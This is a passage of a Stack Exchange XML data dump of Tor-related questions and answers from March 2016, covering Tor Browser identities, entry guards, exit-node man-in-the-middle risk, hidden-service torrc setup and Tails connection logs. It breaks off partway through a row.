  <row Id="9776" PostTypeId="2" ParentId="8775" CreationDate="2016-02-29T21:47:30.110" Score="0" Body="&lt;p&gt;It's a persistent cookies + browser fingerprinting. You need to use a &lt;em&gt;separated/dedicated&lt;/em&gt; virtual machine for web browsing to be 100% sure to &quot;split identities&quot;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-02-29T21:47:30.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9779" PostTypeId="2" ParentId="8775" CreationDate="2016-02-29T23:59:17.607" Score="2" Body="&lt;p&gt;Requesting a new circuit will get you exactly that -- a new circuit. It does not mean that Tor won't pick the same exit again, and it will not clean any cookies. It is trivial then of course for a site to recognize you again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want and what was already suggested is &quot;New Identity&quot;. Unfortunately, Tor Browser currently has to restart to get you a clean new profile. You cannot safely get a new session without restarting the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good document that goes into more detail is &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/projects/torbrowser/design/&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question was also previously discussed in &lt;a href=&quot;https://tor.stackexchange.com/questions/8673/tor-browser-bundle-tbb-new-circuit-versus-new-identity&quot;&gt;Tor Browser Bundle (TBB) new circuit versus new identity&lt;/a&gt; .&lt;/p&gt;&#xA;" OwnerUserId="11997" LastActivityDate="2016-02-29T23:59:17.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9781" PostTypeId="2" ParentId="9754" CreationDate="2016-03-01T14:23:57.283" Score="1" Body="&lt;p&gt;To start off with, if your only goal is to download and run Tor; you can download it at home and place it on a USB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to get the Tor website unblocked, I would recommend speaking with the network administrator of your school about reasons why you believe it should be unblocked and maybe even convince him/her of unblocking it.&lt;/p&gt;&#xA;" OwnerUserId="12003" LastActivityDate="2016-03-01T14:23:57.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9782" PostTypeId="1" CreationDate="2016-03-01T17:11:08.463" Score="1" ViewCount="71" Body="&lt;p&gt;im user of no-tails for a while. i downloaded the latest version of iso 2.0.1 - 13 Feb 2016,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;checked the SHA256 sum, its match. then burn it on blank DVD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i restart computer and press hotkey so it boots up from the DVD, the loading works as usual, however once i reached the main blue login screen, i clicked login and it will bring me back to the login page again, this login process stucked in loop and im unable to load the operating sys properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive use the previous version of no-tails, its all fine and able to load the OS properly. except this version, its having problem. I tried burned another 5-6 copy of blank DVD its all having the same result&lt;/p&gt;&#xA;&#xA;&lt;p&gt;someone please tell me whats wrong?&lt;/p&gt;&#xA;" OwnerUserId="12004" LastActivityDate="2016-03-01T17:11:08.463" Title="Need help! no tails DVD boot up incomplete, something wrong?" Tags="|tails|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9783" PostTypeId="1" CreationDate="2016-03-01T18:25:07.793" Score="1" ViewCount="404" Body="&lt;p&gt;I have downloaded the Tor Browser, mounted the .dmg file, copied the application to the application folder (as well as the desktop and a thumb-drive on subsequent efforts) and am able to launch the application without error.  However, once open I am faced with a screen describing connection options.  My internet connection is not censored or proxied and should not require a bridge for connection.  When choosing &quot;Connect&quot; to establish a direct connection to the Tor network the entire application immediately closes. No window pops up to indicate a connection is being attempted, and no browser ever appears.  Activity monitor shows no activity associated with the Tor browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have removed and reinstalled to various locations.&lt;br&gt;&#xA;I have redownloaded from project tor.&#xA;I have turned off my firewall entirely (and then back on) to no avail.&#xA;I have attempted to configure a bridge (despite other local devices being able to connect to Tor without issue).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter what I do upon any effort to connect Tor Browser application closes immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="12005" LastActivityDate="2017-09-07T08:03:29.233" Title="Tor Browser Mac OSX 10.11.2" Tags="|mac|tor-browser-bundle|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9784" PostTypeId="1" CreationDate="2016-03-01T21:30:29.267" Score="2" ViewCount="478" Body="&lt;p&gt;Suppose a computer user is running multiple Tor clients: a system-wide tor instance, Tor Browser, Tor Messenger, Ricochet, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that all of these clients independently select entry guard nodes and that this likely increases the risk of selecting an adversary's node to be a guard, is it better to:-&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;have each client use the same tor instance, say, the system tor client?&lt;/li&gt;&#xA;&lt;li&gt;configure each client with hard-coded entry guards, e.g. let one of the clients select some guards and configure the rest to match (and periodically  reconfigure as appropriate)?&lt;/li&gt;&#xA;&lt;li&gt;accept the increased risk and do nothing?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="207" LastEditorUserId="88" LastEditDate="2017-04-21T08:18:56.057" LastActivityDate="2017-04-21T08:18:56.057" Title="Entry guards and multiple Tor clients" Tags="|client|guard|guard-node|ricochet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9786" PostTypeId="2" ParentId="9754" CreationDate="2016-03-01T22:41:30.837" Score="1" Body="&lt;p&gt;Begin by politely asking for a written reason for the block, the process by which the decision to block was made (including the people or roles involved in making the decision) and the process for registering your dissatisfaction with the decision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That information should help you decide how to proceed.  And perhaps you might edit your question to include that information here, when you receive it.&lt;/p&gt;&#xA;" OwnerUserId="207" LastActivityDate="2016-03-01T22:41:30.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9787" PostTypeId="2" ParentId="9784" CreationDate="2016-03-01T22:49:59.353" Score="0" Body="&lt;p&gt;I propose you the next model :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use multiple ISP's, run a pair ISP+tor client, ban them from using each other&lt;/li&gt;&#xA;&lt;li&gt;use a &quot;gateway&quot; client that uses pair clients as the points it uses to go to Tor network&lt;/li&gt;&#xA;&lt;li&gt;configure your tor clients to use a gateway client as their Tor exit&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-01T22:49:59.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9788" PostTypeId="2" ParentId="9762" CreationDate="2016-03-01T22:56:45.183" Score="1" Body="&lt;p&gt;Is &lt;code&gt;tor-browser&lt;/code&gt; a package that you've installed from some dodgy third party repo? If so, &lt;em&gt;uninstall it!&lt;/em&gt; Almost all of these packages are done wrong and none of them are officially supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to install a package for Tor Browser, I'd recommend using Micah Lee's &lt;code&gt;torbrowser-launcher&lt;/code&gt;, which will handle the downloading, verification and extraction of Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second point is that editing &lt;code&gt;/etc/tor/torrc&lt;/code&gt; will not affect a stock Tor Browser install, it ships with and launches it's own instance of tor which includes it's own torrc configuration file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've installed Tor Browser you'll find the appropriate torrc file inside the Tor Browser folder than extracted at &lt;code&gt;Browser/TorBrowser/Data/Tor/torrc&lt;/code&gt;, this is where you will want to make these edits. For example, mine is located at &lt;code&gt;~/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Browser/TorBrowser/Data/Tor&lt;/code&gt;, which is where &lt;code&gt;torbrowser-launcher&lt;/code&gt; extracts it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that IP addresses don't really map to geographic locations and that all GeoIP is inaccurate guesswork at best, the internet doesn't really work like that :) You will likely exit from many other places than those that you allow or from inside places that you restrict.&lt;/p&gt;&#xA;" OwnerDisplayName="user11836" LastEditorUserId="52" LastEditorDisplayName="user11836" LastEditDate="2016-03-03T16:33:28.327" LastActivityDate="2016-03-03T16:33:28.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9789" PostTypeId="1" AcceptedAnswerId="9791" CreationDate="2016-03-02T05:09:07.657" Score="1" ViewCount="377" Body="&lt;p&gt;Apparently, any exit relay may steal some private data from &lt;code&gt;HTTP&lt;/code&gt; requests (like auth data / cookies / credit card information), if the connection itself is not encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does &lt;code&gt;HTTPS&lt;/code&gt; provide a reliable protection against this? AFAIK &lt;code&gt;HTTPS&lt;/code&gt; is vulnerable to Man-In-The-Middle attacks. Is there either a way to ensure that any particular exit node does not perform this kind of attacks or a reliable mechanics that prevents exit relays from doing that?&lt;/p&gt;&#xA;" OwnerUserId="12008" LastEditorUserId="88" LastEditDate="2016-03-02T22:11:21.733" LastActivityDate="2016-03-03T16:25:26.503" Title="Exit node security from Man-in-the-middle attacks" Tags="|security|exit-relays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9790" PostTypeId="1" CreationDate="2016-03-02T09:03:49.833" Score="1" ViewCount="252" Body="&lt;p&gt;I'm preparing for my graduation project. It is about Tor hidden services. I configured my machine as directory so that it can obtain onion addresses of hidden services. I have been studying the basic principles of Tor, but I still don't understand how to get an onion address. But I trust there must be a cache file? Right? How can I find it? The other methods to obtain onion addresses can also be accepted.&lt;/p&gt;&#xA;" OwnerDisplayName="XingLing" LastEditorUserId="14997" LastEditDate="2019-02-10T18:56:22.063" LastActivityDate="2019-02-10T18:56:22.063" Title="Where can I find the cache file about onion address?" Tags="|address|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="9791" PostTypeId="2" ParentId="9789" CreationDate="2016-03-02T11:49:16.627" Score="1" Body="&lt;p&gt;use a certificate checks for your HTTPs like &lt;a href=&quot;http://perspectives-project.org&quot; rel=&quot;nofollow&quot;&gt;Perspectives Project&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-02T11:49:16.627" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9793" PostTypeId="2" ParentId="9790" CreationDate="2016-03-02T15:34:22.067" Score="2" Body="&lt;p&gt;You should not be running your relay to try and scrape descriptors of published hidden services, this is considered malicious behavior and your relay will be removed from the tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to view descriptors of onions that are already public, you should use the HSFETCH command, details can be &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt#n1285&quot; rel=&quot;nofollow&quot;&gt;found here&lt;/a&gt; and a tutorial on using the stem library to fetch them can be &lt;a href=&quot;https://stem.torproject.org/tutorials/over_the_river.html#hidden-service-descriptors&quot; rel=&quot;nofollow&quot;&gt;found here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user11836" LastEditorUserId="52" LastEditorDisplayName="user11836" LastEditDate="2016-03-03T16:32:46.607" LastActivityDate="2016-03-03T16:32:46.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9794" PostTypeId="2" ParentId="1647" CreationDate="2016-03-02T16:36:48.963" Score="2" Body="&lt;p&gt;There's now a specific proposal for NTRU:&#xA;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/263-ntru-for-pq-handshake.txt&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/proposals/263-ntru-for-pq-handshake.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also an algorithm called &quot;New Hope&quot; that sounds to be a promising alternative:&#xA;&lt;a href=&quot;https://www.imperialviolet.org/2015/12/24/rlwe.html&quot; rel=&quot;nofollow&quot;&gt;https://www.imperialviolet.org/2015/12/24/rlwe.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... and apparently a new version on it's way called &quot;Newest Hope&quot;.&#xA;This from the winter 2016 tor dev meeting notes. Sounds like the plan is to implement both&lt;/p&gt;&#xA;" OwnerUserId="12015" LastActivityDate="2016-03-02T16:36:48.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9796" PostTypeId="2" ParentId="9784" CreationDate="2016-03-02T17:39:36.203" Score="2" Body="&lt;p&gt;&lt;strong&gt;TL;DR The answer will depend on what you consider important, and what your Tor use-case is.&lt;/strong&gt; (Similar to the hand-waving over threat models mentioned in another answer.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in general, the recommendations would be to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use fewer guards;&lt;/li&gt;&#xA;&lt;li&gt;Keep the guards for longer.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are described in Part 3 of &lt;a href=&quot;https://blog.torproject.org/blog/improving-tors-anonymity-changing-guard-parameters&quot; rel=&quot;nofollow&quot;&gt;a post&lt;/a&gt; on the offical Tor blog, which references 3 different research papers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ieee-security.org/TC/SP2013/papers/4977a080.pdf&quot; rel=&quot;nofollow&quot;&gt;Trawling for Hidden Services&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://freehaven.net/~arma/cogs-wpes.pdf&quot; rel=&quot;nofollow&quot;&gt;Changing of the Guards&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ohmygodel.com/publications/usersrouted-ccs13.pdf&quot; rel=&quot;nofollow&quot;&gt;Users Get Routed&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A very quick synopsis.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Use fewer guards:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Reduces the uniqueness of your &quot;guard fingerprint&quot;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://people.torproject.org/~arma/room-for-improvement.png&quot; rel=&quot;nofollow&quot;&gt;Reduces the chance of attack success&lt;/a&gt;. (See the blog for the descriptions of the attacks.)&lt;/li&gt;&#xA;&lt;li&gt;BUT &lt;a href=&quot;https://people.torproject.org/~arma/1guard-performance.png&quot; rel=&quot;nofollow&quot;&gt;More chance of reduced performance&lt;/a&gt;. If speed is important to you, then favour more guards.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Keep the guards for longer:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://people.torproject.org/~arma/room-for-improvement.png&quot; rel=&quot;nofollow&quot;&gt;Reduces the chance of attack success&lt;/a&gt;. (Same graph as before, which also shows rotation difference.)&lt;/li&gt;&#xA;&lt;li&gt;The post even goes as far as to say:&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...I think changing the guard rotation period to a year or more is&#xA;  probably much wiser...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;While this last point doesn't explicitly mention hard-coding a single guard - as you suggested in your question - it doesn't recommend &lt;em&gt;against&lt;/em&gt; it.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-03-02T17:39:36.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9798" PostTypeId="2" ParentId="9789" CreationDate="2016-03-02T22:15:53.530" Score="2" Body="&lt;p&gt;The Tor Project also does exit scanning to find exit relays who do man in the middle attacks. &lt;a href=&quot;https://github.com/NullHypothesis/exitmap&quot; rel=&quot;nofollow&quot;&gt;Exitmap&lt;/a&gt; is such a scanner. You can also download and run it. If you or another person finds such bad relays, please &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/ReportingBadRelays&quot; rel=&quot;nofollow&quot;&gt;report them to Tor&lt;/a&gt; so that they can be banned from the network.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-03-02T22:15:53.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9800" PostTypeId="1" CreationDate="2016-03-03T20:15:14.733" Score="2" ViewCount="1781" Body="&lt;p&gt;I'm stuck on this. I've configure the Tor browser to the BurpSuite proxy so I can intercept.It work for regular web addresses but not .onion sites. Does anybody know why? And what can I do to fix it? Thx in advance for the help!!&lt;/p&gt;&#xA;" OwnerDisplayName="MikeyD201" LastActivityDate="2019-08-14T08:00:40.700" Title="Intercepting .onion Sites with BurpSuite + Tor" Tags="|proxy|onion-routing|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9801" PostTypeId="2" ParentId="9790" CreationDate="2016-03-03T22:10:08.670" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;but I still don't understand how to get onion address.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You would simply edit your &lt;code&gt;torrc&lt;/code&gt; config file, by propagating the settings for hidden service, thereafter tor daemon will re-read it, after SIGHUP: &lt;code&gt;pidof tor | xargs kill -HUP&lt;/code&gt;, and will create an onion address for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this to your &lt;code&gt;/etc/tor/torrc&lt;/code&gt; config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /tmp/hidden/&#xA;HiddenServicePort 80 127.0.0.1:8080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And change ownership of a directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# mkdir /tmp/hidden&#xA;# chown -R debian-tor:debian-tor /tmp/hidden&#xA;# kill -HUP `pidof tor`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After SIGHUP, read your address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cat /tmp/hidden/hostname&#xA;f47tueagfcx6grjs.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12023" LastActivityDate="2016-03-03T22:10:08.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9802" PostTypeId="1" CreationDate="2016-03-04T01:37:22.927" Score="0" ViewCount="2219" Body="&lt;p&gt;as i wrote in title. Typing in command:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;torify whois ****.com&lt;/strong&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[Mar 04 01:29:26] PERROR torsocks[21980]: socks5 libc connect: Connection refused (in socks5_connect() at socks5.c:185)&#xA;  getaddrinfo(whois.dns.pl): Non-recoverable failure in name resolution&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I also tryed with sudo, torsocks and others domain, but it gives the same output.I'm using manjaro. Thank for helo if anybody would help me :)&lt;/p&gt;&#xA;" OwnerUserId="12027" LastActivityDate="2022-09-26T00:07:40.677" Title="Torify + Whois don't work ;(" Tags="|linux|socks|torsocks|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9803" PostTypeId="2" ParentId="9740" CreationDate="2016-03-04T10:56:55.237" Score="0" Body="&lt;p&gt;Don't be hasty ;) First, FF itself is not about to do everything, and you must use add-ons for the &lt;em&gt;exact&lt;/em&gt; functionality set you're looking for. The add-ons I'll mention downstrings are - IMHO - a must-have for clearnet too:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://addons.mozilla.org/en-us/firefox/addon/calomel-ssl-validation/&quot; rel=&quot;nofollow&quot;&gt;Calomel SSL validation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://addons.mozilla.org/en-us/firefox/addon/perspectives/versions/&quot; rel=&quot;nofollow&quot;&gt;Perspectives Project&lt;/a&gt; get the most recent version, not an old &quot;signed&quot; one!&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://addons.mozilla.org/en-us/firefox/addon/certificate-patrol/versions/&quot; rel=&quot;nofollow&quot;&gt;Certificate patrol&lt;/a&gt; same thing about version - get the LATEST one&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://addons.mozilla.org/en-us/firefox/addon/https-everywhere/?src=ss&quot; rel=&quot;nofollow&quot;&gt;HTTPS everywhere&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and if you're using a standalone/portable FireFox - make sure to use &lt;a href=&quot;https://getfoxyproxy.org/downloads.html&quot; rel=&quot;nofollow&quot;&gt;FoxyProxy&lt;/a&gt; add-on. &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-04T10:56:55.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9804" PostTypeId="2" ParentId="9802" CreationDate="2016-03-04T11:00:53.783" Score="0" Body="&lt;p&gt;Try &lt;a href=&quot;http://www.picateshackz.com/2015/05/kali-linux-tutorial-setting-up.html&quot; rel=&quot;nofollow&quot;&gt;proxychains&lt;/a&gt; - this will help you, I suppose. The tutorial I linked to is not deep-through, but it will help you start&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-04T11:00:53.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9805" PostTypeId="1" CreationDate="2016-03-04T16:29:05.223" Score="0" ViewCount="339" Body="&lt;p&gt;Has anyone had luck selecting the middle node used within the path selection of tor using Stem?  I am trying to set a specific set of routers (non public, so will have a different directory server, although I could set them to use whitelisting possibly) to be chosen as the center node in order to do some latency/throughput testing but the documentation is somewhat unclear.  I know one can select the entry or exit node using the torrc file, but it is impossible to select the middle node with this mechanism since it essentially ruins privacy to have it be chosen deterministically.  Any help would be greatly appreciated.    &lt;/p&gt;&#xA;" OwnerUserId="12033" LastActivityDate="2017-03-14T20:49:42.220" Title="Tor Path Selection using Stem to choose middle node" Tags="|onion-routing|python|torsocks|stem|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9806" PostTypeId="2" ParentId="9768" CreationDate="2016-03-05T16:28:46.310" Score="1" Body="&lt;p&gt;This could perhaps be interpreted as a wider question on whether or not the use of encryption in general is legal in Brazil. If it &lt;em&gt;is&lt;/em&gt; legal, then surely expecting ISPs, and by extension anyone running a Tor relay, to keep details on their users' IP addresses would be unrealistic.&lt;/p&gt;&#xA;&lt;p&gt;A good place to start would be &lt;a href=&quot;http://www.cryptolaw.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.cryptolaw.org/&lt;/a&gt;, and the entry for &lt;a href=&quot;http://www.cryptolaw.org/cls2.htm#br&quot; rel=&quot;nofollow noreferrer&quot;&gt;Brazil&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Their site states (in the entry for domestic cryptography use):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;There are no controls on crypto use.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;(The site contains references to where they've gleaned the information.)&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-03-05T16:28:46.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9807" PostTypeId="2" ParentId="9762" CreationDate="2016-03-05T23:31:26.030" Score="2" Body="&lt;p&gt;Tor and Tor Browser are two different things. The Tor software uses &lt;code&gt;/etc/tor/torrc&lt;/code&gt; as a configuration file and is system-wide available. Tor Browser uses the file &lt;code&gt;Browser/TorBrowser/Data/Tor/torrc&lt;/code&gt; in your local drive (where Tor Browser is installed). Both files are different and if you edit one those changes don't affect the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to make settings in Tor Browser use &lt;code&gt;Browser/TorBrowser/Data/Tor/torrc&lt;/code&gt; in your local drive, edit the file and restart To Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore it is important to also set &lt;code&gt;StrictNodes&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-03-05T23:31:26.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9808" PostTypeId="1" AcceptedAnswerId="9811" CreationDate="2016-03-05T23:42:26.950" Score="1" ViewCount="367" Body="&lt;p&gt;I was reading &lt;a href=&quot;https://security.stackexchange.com/questions/36571/why-can-a-tor-exit-node-decrypt-data-but-not-the-entry-node&quot;&gt;https://security.stackexchange.com/questions/36571/why-can-a-tor-exit-node-decrypt-data-but-not-the-entry-node&lt;/a&gt; and it got me thinking: &lt;code&gt;How does a tor node knows that the next hop is a node and not the final destination?&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the normal &lt;code&gt;tcp/ip&lt;/code&gt; packet you have &lt;code&gt;source address&lt;/code&gt; and &lt;code&gt;destination address&lt;/code&gt;. How can TOR packets know that they did not reached their destination and it's not only another hop on the chain? Does the packet has any type of &lt;code&gt;TCP options&lt;/code&gt; like the &lt;code&gt;TCP/IP&lt;/code&gt; packet does?&lt;/p&gt;&#xA;" OwnerUserId="12044" LastEditorUserId="-1" LastEditDate="2017-03-17T13:14:45.153" LastActivityDate="2016-03-06T04:41:30.727" Title="How does a tor node knows that the next hop is a node and not the final destination?" Tags="|onion-routing|" AnswerCount="1" CommentCount="0" ClosedDate="2016-03-07T19:45:37.220" ContentLicense="CC BY-SA 3.0" />
  <row Id="9809" PostTypeId="1" AcceptedAnswerId="9812" CreationDate="2016-03-06T01:39:53.817" Score="1" ViewCount="1060" Body="&lt;p&gt;I am using the current version of Tails.  I more often than not get the warning icon at the bottom left of the connection window telling me that the log file has been copied to the clip board.  I will eventually connect with a green onion yet it takes quite a bit of time.  I could use some feedback on this log. This log is from today at around 1pm,  so the date/time is wrong. Also, there were so many repeats of the first line that I had to delete most of them in order to make them this post fit here on this forum.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;02/12/2016 00:09:47.800 [NOTICE] New control connection opened from 127.0.0.1. &#xA;02/12/2016 00:09:56.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;02/12/2016 00:09:56.900 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;02/12/2016 00:09:56.900 [NOTICE] Opening DNS listener on 127.0.0.1:5353 &#xA;02/12/2016 00:09:56.900 [NOTICE] Opening Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;02/12/2016 00:09:56.900 [NOTICE] Renaming old configuration file to &quot;/etc/tor/torrc.orig.1&quot; &#xA;02/12/2016 00:09:57.200 [NOTICE] New control connection opened from 127.0.0.1. &#xA;02/12/2016 00:09:58.600 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;02/12/2016 00:09:58.600 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;02/12/2016 00:09:58.800 [WARN] Proxy Client: unable to connect to 194.132.209.190:51867 (&quot;server rejected connection&quot;) &#xA;02/12/2016 00:10:33.900 [NOTICE] Closing no-longer-configured Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;02/12/2016 00:10:33.900 [NOTICE] Closing no-longer-configured DNS listener on 127.0.0.1:5353 &#xA;02/12/2016 00:06:38.900 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;02/12/2016 00:06:38.900 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;02/12/2016 00:06:39.000 [WARN] Proxy Client: unable to connect to 198.23.141.168:58693 (&quot;server rejected connection&quot;) &#xA;02/12/2016 00:06:39.000 [WARN] Proxy Client: unable to connect to 194.132.209.158:44912 (&quot;server rejected connection&quot;) &#xA;02/12/2016 00:06:39.400 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;02/12/2016 00:06:39.500 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;02/12/2016 00:06:39.800 [NOTICE] new bridge descriptor 'consolsmeringue' (fresh): $9B1E39F667DBD7749CC653A7B2632A9D75DB1D27~consolsmeringue at 45.55.174.204 &#xA;02/12/2016 00:06:39.800 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;02/12/2016 00:06:40.000 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;02/12/2016 00:06:40.900 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10038" LastEditorUserId="88" LastEditDate="2016-03-07T19:54:16.500" LastActivityDate="2016-03-07T19:54:16.500" 